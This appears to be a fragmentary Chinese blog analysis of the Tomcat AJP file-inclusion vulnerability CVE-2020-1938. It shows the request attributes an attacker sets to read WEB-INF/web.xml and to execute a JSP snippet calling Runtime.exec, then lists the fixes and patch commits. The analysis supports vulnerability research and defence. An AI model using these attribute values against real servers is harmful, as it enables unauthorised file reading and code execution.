PS: 文章仅用于研究漏洞原理，促进更好的防御，禁止用于非法用途，否则后果自负!!!
-
javax.servlet.include.request_uri
-
javax.servlet.include.path_info
-
javax.servlet.include.servlet_path
RequestUri：/docs/test.jpgjavax.servlet.include.request_uri: /javax.servlet.include.path_info: WEB-INF/web.xmljavax.servlet.include.servlet_path: /
<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>...<!-- The mapping for the default servlet --><servlet-mapping><servlet-name>default</servlet-name><url-pattern>/</url-pattern></servlet-mapping>...
= javax.servlet.include.path_info + javax.servlet.include.path_info= / + WEB-INF/web.xml= /WEB-INF/web.xml
RequestUri：/docs/test.jspjavax.servlet.include.request_uri: /javax.servlet.include.path_info: code.txtjavax.servlet.include.servlet_path: /
<%Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");%><servlet><servlet-name>jsp</servlet-name><servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class><init-param><param-name>fork</param-name><param-value>false</param-value></init-param><init-param><param-name>xpoweredBy</param-name><param-value>false</param-value></init-param><load-on-startup>3</load-on-startup></servlet>...<!-- The mappings for the JSP servlet --><servlet-mapping><servlet-name>jsp</servlet-name><url-pattern>*.jsp</url-pattern><url-pattern>*.jspx</url-pattern></servlet-mapping>
jspUri = javax.servlet.include.servlet_path + javax.servlet.include.path_infojspUri = / + code.txtjspUri = /code.txt
-
默认不开启AJP
-
默认只监听本地ip
-
强制设置认证secret
-
代码层面主要在AjpProcessor类的prepareRequest方法封装requst对象时采用了白名单，只添加已知属性。这样三个include属性不再被客户端控制，漏洞修复。
-
https://github.com/apache/tomcat/commit/b99fba5bd796d876ea536e83299603443842feba
-
https://github.com/apache/tomcat/commit/40d5d93bd284033cf4a1f77f5492444f83d803e2
本文始发于微信公众号（回忆飘如雪）：CVE-2020-1938:Tomcat AJP协议文件包含漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论